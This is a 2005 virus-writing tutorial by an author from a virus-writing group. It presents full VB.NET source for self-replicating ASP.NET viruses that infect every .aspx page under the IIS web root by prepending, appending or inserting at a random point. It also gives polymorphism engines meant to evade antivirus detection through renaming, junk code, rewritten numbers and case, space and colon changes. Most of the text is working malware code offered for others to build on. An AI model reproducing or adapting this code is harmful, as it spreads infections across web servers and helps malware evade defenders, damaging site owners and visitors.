| ||||||||||||||||
ASP.NET Virus Writing Guide
by Second Part To Hell
************************************************************* ************************************************************* ************ *********** ************ ASP.NET Virus Writing Guide *********** ************ by Second Part To Hell/[rRlf] *********** ************ *********** ************************************************************* ************************************************************* Index: ****** 0) Intro Words 1) File infection a) Prepending b) Appending c) Entry Point Obscuring 2) Polymorphism a) Variable Changing b) Adding Trash c) Number Changing d) Lower/Upper Case Games e) Space Games f) Colon Games 3) Last Words 0) Intro Words This time I've found another victim: ASP.NET. It is a pre-compiled language running on web-servers like IIS. I want to explain 'pre-compiled' a little bit: The server, when it runs a specific file for the first time, compiles it for execution (not as i.E. PHP, which are just interpreted) and saves the compiled version of the file. The advantage: The next executions are a lot faster than at pre-processor languages like PHP. The advantage in contrast to ASP is that we can use the whole amount of functions, methods, classes provided by the .NET Framework. ASP.NET scripts can be written in VB.NET, C#, C++ and J#. I've desided to use VB.NET for this article. For the codes I've used .NET Framework 1.1 and 2.0 beta (at IIS), and the codes run at both environment. Well, now let's look at the ASP.NET infection :) 1.) File infection a) Prepending As always, I would like to start with the prepender virus for giving you the first ideas of that language. As I was not able to find a command for getting the own path of the current executed file (__FILE__, %0, ... in other languages), the virus searchs in every *.aspx file in the standart wwwroot folder for itself. When it found itself, it searchs for victims and infect them. More detailed explained after the code. - - - - - - - - - - - - - [ ASP.NET Prepender Virus Example ] - - - - - - - - - - - - - <!-- LUX --> <html> <head> <script language="VB" runat="server"> Sub Page_Load (ByVal Sender As Object, ByVal E As EventArgs) Try Dim di As New System.IO.DirectoryInfo("C:\Inetpub\wwwroot") Dim fiArr As System.IO.FileInfo() = di.GetFiles("*.aspx") Dim fri As System.IO.FileInfo Dim line, file_cont As String Dim i,IsInf As Integer Dim VirCode As String = "" For Each fri In fiArr Dim file_pointer As New System.IO.StreamReader("C:\Inetpub\wwwroot\"+fri.Name) Do line = file_pointer.ReadLine() file_cont=file_cont+line+Chr(13)+Chr(10) Loop Until line Is Nothing file_pointer.Close() For i=0 to file_cont.Length-12 If file_cont.Substring(i, 12) = "<!"+"-- LUX -->" Then VirCode = file_cont.Substring(i-1, 1613) Next Next For Each fri In fiArr IsInf=0 file_cont="" Dim file_pointer As New System.IO.StreamReader("C:\Inetpub\wwwroot\"+fri.Name) Do line = file_pointer.ReadLine() file_cont=file_cont+line+Chr(13)+Chr(10) Loop Until line Is Nothing file_pointer.Close() For i=0 to file_cont.Length-12 If file_cont.Substring(i, 12) = "<!"+"-- LUX -->" Then IsInf = 1 Next If IsInf <> 1 Then Dim file_pointerW As New System.IO.StreamWriter("C:\Inetpub\wwwroot\"+fri.Name) file_pointerW.WriteLine(VirCode+Chr(13)+Chr(10)+file_cont) file_pointerW.Close() i=file_cont.Length End If Next Catch ex As Exception End Try End Sub </script> </head> <body> <p id="ausgabe" runat="server"></p> </body> </html> - - - - - - - - - - - - - [ ASP.NET Prepender Virus Example ] - - - - - - - - - - - - - Long code for a simple prepender, hmm? Well, I already gave you the reason. Now the explanaion: --> Opens the standart folder of wwwroot ("C:\Inetpub\wwwroot") --> Gets all *.aspx files in there --> Searchs for its code in every *.aspx file --> Saves its codes --> Searchs for uninfected victims --> Reads the code --> Writes the viruscode and the original code to the file b) Appending This code is another standart-infection-type, so let's look at it. This time let's put the code after the original filecontent. - - - - - - - - - - - - - [ ASP.NET Appending Virus Example ] - - - - - - - - - - - - - <!-- LUX --> <html> <head> <script language="VB" runat="server"> Sub Page_Load (ByVal Sender As Object, ByVal E As EventArgs) Try Dim di As New System.IO.DirectoryInfo("C:\Inetpub\wwwroot") Dim fiArr As System.IO.FileInfo() = di.GetFiles("*.aspx") Dim fri As System.IO.FileInfo Dim line, file_cont As String Dim i,IsInf As Integer Dim VirCode As String = "" For Each fri In fiArr Dim file_pointer As New System.IO.StreamReader("C:\Inetpub\wwwroot\"+fri.Name) Do line = file_pointer.ReadLine() file_cont=file_cont+line+Chr(13)+Chr(10) Loop Until line Is Nothing file_pointer.Close() For i=0 to file_cont.Length-12 If file_cont.Substring(i, 12) = "<!"+"-- LUX -->" Then VirCode = file_cont.Substring(i-1, 1613) Next Next For Each fri In fiArr IsInf=0 file_cont="" Dim file_pointer As New System.IO.StreamReader("C:\Inetpub\wwwroot\"+fri.Name) Do line = file_pointer.ReadLine() file_cont=file_cont+line+Chr(13)+Chr(10) Loop Until line Is Nothing file_pointer.Close() For i=0 to file_cont.Length-12 If file_cont.Substring(i, 12) = "<!"+"-- LUX -->" Then IsInf = 1 Next If IsInf <> 1 Then Dim file_pointerW As New System.IO.StreamWriter("C:\Inetpub\wwwroot\"+fri.Name) file_pointerW.WriteLine(file_cont+Chr(13)+Chr(10)+VirCode) file_pointerW.Close() i=file_cont.Length End If Next Catch ex As Exception End Try End Sub </script> </head> </html> - - - - - - - - - - - - - [ ASP.NET Appending Virus Example ] - - - - - - - - - - - - - There is not too much difference to the prepender code. --> Opens the standart folder of wwwroot ("C:\Inetpub\wwwroot") --> Gets all *.aspx files in there --> Searchs for its code in every *.aspx file --> Saves its codes --> Searchs for uninfected victims --> Reads the code --> Writes the original code and the viruscode to the file c) Entry Point Obscuring This is the first techniqually interesting type of infection: Anywhere in the middle: EPO The virus searchs for a valueable place which could be infected, and does it. To be more precicly it searchs for a code between the html-statements. That means, it searchs for '>' to infect that place. Better explanation follows at the end. - - - - - - - - - - - - - [ ASP.NET EPO Virus Example ] - - - - - - - - - - - - - <html> <head> <!-- LUX --> <script language="VB" runat="server"> Sub Page_Load (ByVal Sender As Object, ByVal E As EventArgs) Try Dim di As New System.IO.DirectoryInfo("C:\Inetpub\wwwroot") Dim fiArr As System.IO.FileInfo() = di.GetFiles("*.aspx") Dim fri As System.IO.FileInfo Dim line, file_cont As String Dim i,IsInf,rnd_num,place_c,place As Integer Dim VirCode As String = "" Dim placesarr(235) As Integer rnd_num=0 place_c=0 For Each fri In fiArr Dim file_pointer As New System.IO.StreamReader("C:\Inetpub\wwwroot\"+fri.Name) Do line = file_pointer.ReadLine() file_cont=file_cont+line+Chr(13)+Chr(10) Loop Until line Is Nothing file_pointer.Close() For i=0 to file_cont.Length-12 If file_cont.Substring(i, 12) = "<!"+"-- LUX -->" Then VirCode = file_cont.Substring(i-1, 2494) Next rnd_num=rnd_num+fri.Length Next For Each fri In fiArr IsInf=0 file_cont="" Dim file_pointer As New System.IO.StreamReader("C:\Inetpub\wwwroot\"+fri.Name) Do line = file_pointer.ReadLine() file_cont=file_cont+line+Chr(13)+Chr(10) Loop Until line Is Nothing file_pointer.Close() For i=0 to file_cont.Length-12 If file_cont.Substring(i, 12) = "<!"+"-- LUX -->" Then IsInf = 1 Next If IsInf <> 1 Then For i=0 to file_cont.Length-10 If file_cont.Substring(i,1)=">" Then place_c=place_c+1 placesarr(place_c)=i+2 End If If i+7 <= file_cont.Length Then If file_cont.Substring(i,7)="<script" Then Dim found_script As Integer=0 While found_script=0 i=i+1 If file_cont.Substring(i,9)="</"+"script>" Then found_script=1 End While End If End If Next Dim file_pointerW As New System.IO.StreamWriter("C:\Inetpub\wwwroot\"+fri.Name) place=placesarr(rnd_num Mod place_c) file_pointerW.WriteLine(file_cont.Substring(0,place-1)+VirCode+file_cont.Substring(place-1,file_cont.Length-place-1)) file_pointerW.Close() i=file_cont.Length End If Next ausgabe.InnerHtml=place Catch ex As Exception End Try End Sub </script> </head> <body> <p id="ausgabe" runat="server"></p> </body> </html> - - - - - - - - - - - - - [ ASP.NET EPO Virus Example ] - - - - - - - - - - - - - --> Opens the standart folder of wwwroot ("C:\Inetpub\wwwroot") --> Gets all *.aspx files in there --> Searchs for its code in every *.aspx file --> Saves its codes --> Searchs for potentially victims --> Reads the victim-code --> Searchs for potentially places to infect (end-html-statements '>') --> Gets one place to infect --> Writes the first part of victim to host --> Writes the virus to host --> Writes the second part of victim to host 2) Polymorphism a) Variable Changing This is a standart polymorphism technique for script-viruses - and I think it should be done in every infectable language; so I desided to do it here too. Every polymorphism needs random numbers. The .NET Framework provides the random numbers not as function or methode (as it's in most other languages), but as System.Random - Object. This is quite strange, but not more difficult - just different. Well, variable changing means to rename every variable or function name in the whole code. As there is no command for the own file (or at least I did not find one), I used a static path-name. But that does not mind, because in a real virus we have to search for the own code anyway. - - - - - - - - - - - [ ASP.NET Variable Changing Polymorphism Example ] - - - - - - - - - - - <%@ Page Language="VB" %> <script runat="server"> Sub Page_Load (ByVal Sender As Object, ByVal E As EventArgs) Dim my_file_name As String = "C:\Inetpub\wwwroot\localstart.aspx" Dim my_file_code, my_code_line As String Dim file_pointer As New System.IO.StreamReader(my_file_name) Do my_code_line=file_pointer.ReadLine() my_file_code=my_file_code+my_code_line+Chr(13)+Chr(10) Loop Until my_code_line Is Nothing file_pointer.Close Dim my_var_arr() As String = {"my_file_name","my_file_code","my_code_line","file_pointer","my_var_arr","one_var_name","my_arr_obj","file_Wpointer","new_var_name","counter_i","new_name_length","find_new_name"} Dim one_var_name As String Dim my_arr_obj As new System.Random() For Each one_var_name In my_var_arr my_code_line=find_new_name(my_arr_obj.Next(10),my_arr_obj) my_file_code=my_file_code.Replace(one_var_name, my_code_line) Next Dim file_Wpointer As New System.IO.StreamWriter(my_file_name) file_Wpointer.WriteLine(my_file_code) file_Wpointer.Close End Sub Function find_new_name(new_name_length As Integer, my_arr_obj As Random) Dim new_var_name As String = "" Dim counter_i As Integer new_name_length=new_name_length+5 For counter_i = 0 to new_name_length new_var_name=new_var_name+Chr(my_arr_obj.Next(26)+97) Next find_new_name=new_var_name End Function </script> - - - - - - - - - - - [ ASP.NET Variable Changing Polymorphism Example ] - - - - - - - - - - - --> Opens itself (by static path) --> Reads whole own code --> Closes itself --> Makes an array of all used variables --> Does a for-next for all entries in the array --> Gets random name with random length by the find_new_name function --> Replaces the old variable with the new one --> Writes the new code the the own file b) Adding Trash Now let's try to add some trash into the ASP.NET code. First think: What could be trash? I thought of the following stuff: -> Commends: * Rem anything * ' anything -> Variable Definition: * Dim [anything] As String * Dim [anything] As String = "[Anything]" * Dim [anything] As Integer There would be much more possible junk, but for the first try, let's use these six different options. (Some further thinks would be the writing of not used objects like Dim anything As new System.Random() or other stuff.) - - - - - - - - - - - [ ASP.NET Adding Trash Polymorphism Example ] - - - - - - - - - - - <%@ Page Language="VB" Debug="True" %> <script runat="server"> Sub Page_Load (ByVal Sender As Object, ByVal E As EventArgs) Dim my_file_name As String = "C:\Inetpub\wwwroot\localstart.aspx" Dim my_file_code(150), my_code_line, trash_line As String Dim i As Integer = 0 Dim my_arr_obj As new System.Random() Dim file_pointer As New System.IO.StreamReader(my_file_name) Do my_code_line=file_pointer.ReadLine() my_file_code(i)=my_code_line i=i+1 Loop Until my_code_line Is Nothing file_pointer.Close Dim file_Wpointer As New System.IO.StreamWriter(my_file_name) For Each my_code_line In my_file_code If my_code_line <> "" Then If Mid(my_code_line,1,1)=" " Then If my_arr_obj.Next(5)=1 Then file_Wpointer.WriteLine(find_trash(my_arr_obj.Next(6), my_arr_obj)) file_Wpointer.WriteLine(my_code_line) End If End If Next file_Wpointer.Close End Sub Function find_trash(which_trash As Integer, my_arr_obj As Random) If which_trash = 1 Then find_trash="Dim "+find_new_name(my_arr_obj.Next(10), my_arr_obj)+" As String" If which_trash = 2 Then find_trash="Dim "+find_new_name(my_arr_obj.Next(10), my_arr_obj)+" As String ="+Chr(34)+find_new_name(my_arr_obj.Next(20), my_arr_obj)+Chr(34) If which_trash = 3 Then find_trash="Dim "+find_new_name(my_arr_obj.Next(10), my_arr_obj)+" As Integer" If which_trash = 4 Then find_trash="Rem "+find_new_name(my_arr_obj.Next(10), my_arr_obj) If which_trash = 5 Then find_trash="' "+find_new_name(my_arr_obj.Next(10), my_arr_obj) End Function Function find_new_name(new_name_length As Integer, my_arr_obj As Random) Dim new_var_name As String = "" Dim counter_i As Integer new_name_length=new_name_length+5 For counter_i = 0 to new_name_length new_var_name=new_var_name+Chr(my_arr_obj.Next(26)+97) Next find_new_name=new_var_name End Function </script> - - - - - - - - - - - [ ASP.NET Adding Trash Polymorphism Example ] - - - - - - - - - - - --> Opens itself (by static path) --> Reads whole own code into an array --> Closes itself --> Checks for every line if trash should be included --> Include 1 out of 5 trash lines --> Writes the code into the own file c) Number Changing This is polymorphism technique which I've already done in JS, PHP and Ruby (see rRlf #5, 29a#7 and 29a#8)- but it is a real good technique, therefore I wanted to do it in ASP.NET with VB.NET too. The idea is that numbers can also be seen as calculations. That means 666 = 999-333 = 333+333 = 1332 / 2 It's an easy princip - but it works fine. And it helps against simple detection of the virus. Let's see first an later calculation of a nice number, then the code of the engine: 666=((((6093/9)-(28/4))+(((224/7)/(5-1))-((40/1)/(9-1))))-(-((10/(14-9))-1)+((36+(28/(1+6)))/5))) - - - - - - - - - - - [ ASP.NET Number Changing Polymorphism Example ] - - - - - - - - - - - <%@ Page Language="VB" Debug="True" %> <script runat="server"> Sub Page_Load (ByVal Sender As Object, ByVal E As EventArgs) Dim my_file_name As String = "C:\Inetpub\wwwroot\localstart.aspx" Dim my_file_code, new_file_code, my_code_line, found_number As String Dim i As Integer Dim my_arr_obj As new System.Random() Dim file_pointer As New System.IO.StreamReader(my_file_name) Do my_code_line=file_pointer.ReadLine() my_file_code=my_file_code+my_code_line+Chr(13)+Chr(10) Loop Until my_code_line Is Nothing file_pointer.Close For i=1 To my_file_code.Length If Asc(Mid(my_file_code,i,1))>47 And Asc(Mid(my_file_code,i,1))<58 Then found_number="" While Asc(Mid(my_file_code,i,1))>47 And Asc(Mid(my_file_code,i,1))<58 found_number=found_number+Mid(my_file_code,i,1) i=i+1 End While new_file_code=new_file_code+get_new_num(found_number, my_arr_obj)+Mid(my_file_code,i,1) Else new_file_code=new_file_code+Mid(my_file_code,i,1) End If Next Dim file_Wpointer As New System.IO.StreamWriter(my_file_name) file_Wpointer.WriteLine(new_file_code) file_Wpointer.Close End Sub Function get_new_num(number As String, my_arr_obj As Random) Dim rnd_num As Integer = my_arr_obj.Next(7) Dim rnd_num_B As Integer = my_arr_obj.Next(9)+1 Dim new_num As String = Str(Val(number)-rnd_num_B) If rnd_num=0 Then get_new_num="("+Str(Val(number)-rnd_num_B)+"+"+Str(rnd_num_B)+")" If rnd_num=1 Then get_new_num="("+Str(Val(number)+rnd_num_B)+"-"+Str(rnd_num_B)+")" If rnd_num=2 Then get_new_num="("+Str(Val(number)*rnd_num_B)+"/"+Str(rnd_num_B)+")" If rnd_num>2 Then get_new_num=number get_new_num=get_new_num.Replace(" ","") End Function </script> - - - - - - - - - - - [ ASP.NET Number Changing Polymorphism Example ] - - - - - - - - - - - --> Opens itself (by static path) --> Reads whole own code into an array --> Closes itself --> Searchs for every letter if it's a number Chr(47) < x < Chr(58) --> If found, search for the full number --> Calls a function to get a new number --> Use one out of tree calculations: Add, Sub, Div. It's not possible to use Mul as the code has to Div it first, and that makes commas, which will make errors in next generations. --> Replace the number by change of 1/4 --> Writes new code to the file d) Lower/Upper Case Games This polymorphism technique was just able to bring to reality, because I've used VB.NET. That language is NOT Case-Sensitive, (in contrast to C++.NET or C#). The idea is, that every letter can be written uppercase or lowercase. The advantage: AVers can not use simple scan strings - combined with the other techniques, this is a strong way to fuck the detection of a virus. Now the code: - - - - - - - - - - [ ASP.NET Lower/Upper Case Game Polymorphism Example ] - - - - - - - - - - <%@ Page Language="VB" Debug="True" %> <script runat="server"> Sub Page_Load (ByVal Sender As Object, ByVal E As EventArgs) Dim my_file_name As String = "C:\Inetpub\wwwroot\localstart.aspx" Dim my_file_code, new_file_code, my_code_line, found_number As String Dim i As Integer Dim my_arr_obj As new System.Random() Dim file_pointer As New System.IO.StreamReader(my_file_name) Do my_code_line=file_pointer.ReadLine() my_file_code=my_file_code+my_code_line+Chr(13)+Chr(10) Loop Until my_code_line Is Nothing file_pointer.Close For i=1 To my_file_code.Length If Asc(Mid(my_file_code,i,1))>64 And Asc(Mid(my_file_code,i,1))<91 And my_arr_obj.Next(3)=1 Then new_file_code=new_file_code+Chr(Asc(Mid(my_file_code,i,1))+32) ElseIf Asc(Mid(my_file_code,i,1))>96 And Asc(Mid(my_file_code,i,1))<123 And my_arr_obj.Next(3)=1 Then new_file_code=new_file_code+Chr(Asc(Mid(my_file_code,i,1))-32) Else new_file_code=new_file_code+Mid(my_file_code,i,1) End If Next Dim file_Wpointer As New System.IO.StreamWriter(my_file_name) file_Wpointer.WriteLine(new_file_code) file_Wpointer.Close End Sub </script> - - - - - - - - - - [ ASP.NET Lower/Upper Case Game Polymorphism Example ] - - - - - - - - - - --> Opens itself (by static path) --> Reads whole own code into an array --> Closes itself --> Checks for each byte in the code if it's a uppercase letter --> If so, by a chance of 1/3: Chr(nn)+32 --> Checks for each byte in the code if it's a lowercase letter --> If so, by a chance of 1/3: Chr(nn)-32 --> Writes new code to the file e) Space Games This technique uses the behaviour of VB.NET scripts, that they simply ignore multi space between commands. That means: "End Sub" == " End Sub " By using that technique, AVers can not use simple scan-strings again. They have to build in a function for ignoring multible spaces. And, as the other techniques too, this means more work. In combination with other techniques: The less they can detect static, the harder they have to work, and the more difficult it becomes to find a valueable detection. Now the code: - - - - - - - - - - [ ASP.NET Space Game Polymorphism Example ] - - - - - - - - - - <%@ Page Language="VB" Debug="True" %> <script runat="server"> Sub Page_Load (ByVal Sender As Object, ByVal E As EventArgs) Dim my_file_name As String = "C:\Inetpub\wwwroot\localstart.aspx" Dim my_file_code, new_file_code, my_code_line, found_number As String Dim i As Integer Dim my_arr_obj As new System.Random() Dim file_pointer As New System.IO.StreamReader(my_file_name) Do my_code_line=file_pointer.ReadLine() my_file_code=my_file_code+my_code_line+Chr(13)+Chr(10) Loop Until my_code_line Is Nothing file_pointer.Close For i=1 To my_file_code.Length If Mid(my_file_code,i,1)=Chr(32) And my_arr_obj.Next(4)=1 Then new_file_code=new_file_code+chr(32) new_file_code=new_file_code+Mid(my_file_code,i,1) Next Dim file_Wpointer As New System.IO.StreamWriter(my_file_name) file_Wpointer.WriteLine(new_file_code) file_Wpointer.Close End Sub </script> - - - - - - - - - - [ ASP.NET Space Game Polymorphism Example ] - - - - - - - - - - --> Opens itself (by static path) --> Reads whole own code into an array --> Closes itself --> Searchs for Spaces in the own code and by change of 1/4 makes a double space --> Writes new code to the file f) Colon Games The last polymorphism-engine I'll show you uses the character ':'. This one can be used for VB/VBS/VB.NET codes to combine 2 files without Chr(13,10). As this could be used for viruses too, i've written that engine. Sometimes the code changes Chr(13,10) to colons and sometimes the opposite. This makes the virus look quite different every version. 'Sub ... ()' and 'End Sub' have to be in the same line, and therefore the code ignores every Chr(13,10), which has a space before. (This is important if you want to copy/paste/rewrite the code.) Well, let's look at the last code of this article: - - - - - - - - - - [ ASP.NET Collon Game Polymorphism Example ] - - - - - - - - - - <%@ Page Language="VB" Debug="True" %> <script runat="server"> Sub Page_Load (ByVal Sender As Object, ByVal E As EventArgs) Dim my_file_name As String = "C"+Chr(58)+"\Inetpub\wwwroot\localstart.aspx" Dim my_file_code, new_file_code, my_code_line, found_number As String Dim i As Integer Dim my_arr_obj As new System.Random() Dim file_pointer As New System.IO.StreamReader(my_file_name) Do my_code_line=file_pointer.ReadLine() my_file_code=my_file_code+my_code_line+Chr(13)+Chr(10) Loop Until my_code_line Is Nothing file_pointer.Close new_file_code=new_file_code+Mid(my_file_code,1,1) For i=2 To my_file_code.Length If Mid(my_file_code,i,2)=Chr(13)+Chr(10) And my_arr_obj.Next(4)=1 Then If Mid(my_file_code,i-1,1)<>">" And Mid(my_file_code,i-1,1)<>" " Then new_file_code=new_file_code+chr(58) i=i+1 Else new_file_code=new_file_code+Mid(my_file_code,i,1) End If ElseIf Mid(my_file_code,i,1)=Chr(58) and my_arr_obj.Next(4)=1 Then new_file_code=new_file_code+Chr(13)+Chr(10) Else new_file_code=new_file_code+Mid(my_file_code,i,1) End If Next Dim file_Wpointer As New System.IO.StreamWriter(my_file_name) file_Wpointer.WriteLine(new_file_code) file_Wpointer.Close End Sub</script> - - - - - - - - - - [ ASP.NET Collon Game Polymorphism Example ] - - - - - - - - - - --> Opens itself (by static path) --> Reads whole own code into an array --> Closes itself --> Searchs for Chr(13)+Chr(10) in the code --> If Mid(string,i,-1) <> space and by chance of 1/4 replace it to a collon --> Searchs for collons in the code --> By chance of 1/4 replace it to Chr(13)+Chr(10) --> Writes new code to the file 3) Last words Another file-type is ready for infection since this article. I'm happy that I've finally finished it, and that Microsoft's answere to PHP is on the list of my victims now, too. :) I have already mentioned at the beginning of the article, you could write ASP.NET viruses with C# or C++.NET too, but I think for this time it's ok. About ASP.NET: It's really a highly interesting language, has alot of interesting feature for 'real' coding, is very easy to handle client and server communication and can use the whole appility of the .NET Framework. For this time - it's enough. See you out there soon! :D - - - - - - - - - - - - - - - Second Part To Hell/[rRlf] www.spth.de.vu spth@priest.com written in November 2005 ...surrealistic viruswriter... - - - - - - - - - - - - - - - PS: We need new heros! Read this: http://vx.netlux.org/29a/29a-6/29a-6.111 |